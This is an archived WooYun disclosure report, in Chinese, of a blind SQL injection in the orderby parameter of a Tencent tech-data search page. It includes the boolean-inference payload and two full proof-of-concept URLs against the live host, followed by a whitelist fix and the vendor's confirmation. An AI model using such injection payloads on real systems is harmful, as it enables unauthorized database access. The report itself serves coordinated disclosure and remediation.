漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-07491
漏洞标题：腾讯某频道SQL盲注漏洞
相关厂商：腾讯
漏洞作者： 小雨
提交时间：2012-05-24 17:35
修复时间：2012-07-08 17:36
公开时间：2012-07-08 17:36
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-05-24： 细节已通知厂商并且等待厂商处理中
2012-05-25： 厂商已经确认，细节仅向厂商公开
2012-06-04： 细节向核心白帽子及相关领域专家公开
2012-06-14： 细节向普通白帽子公开
2012-06-24： 细节向实习白帽子公开
2012-07-08： 细节向公众公开
简要描述：
前两天的经验用上了。
参考：http://www.wooyun.org/bugs/wooyun-2012-07406
详细说明：
使用sleep()语句会提示：抱歉！查询参数不正确，请确认查询参数!返回
构造排序条件abs(F19-(length(user())>18)*3000)
漏洞证明：
http://cgi.data.tech.qq.com/index.php?mod=searchhea&type=data&site=digi&libid=9&filterattr=4%7C7&filtervalue=10%7C9&orderby=abs(F19-(length(user())>18)*3000)+asc%20limit%202--&tplname=search_result.shtml
http://cgi.data.tech.qq.com/index.php?mod=searchhea&type=data&site=digi&libid=9&filterattr=4%7C7&filtervalue=10%7C9&orderby=abs(F19-(length(user())=18)*3000)+asc%20limit%202--&tplname=search_result.shtml
修复方案：
做一个允许的排序方式组合的数组，排序方式传排序方式的数组下标就可以了。
想直接传字段也可以，检查一下那个排序方式是否在数组里，不是就用默认排序方式。也就安全了。
版权声明：转载请注明来源 小雨@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2012-05-25 21:51
厂商回复：
非常感谢您的报告。
最新状态：
暂无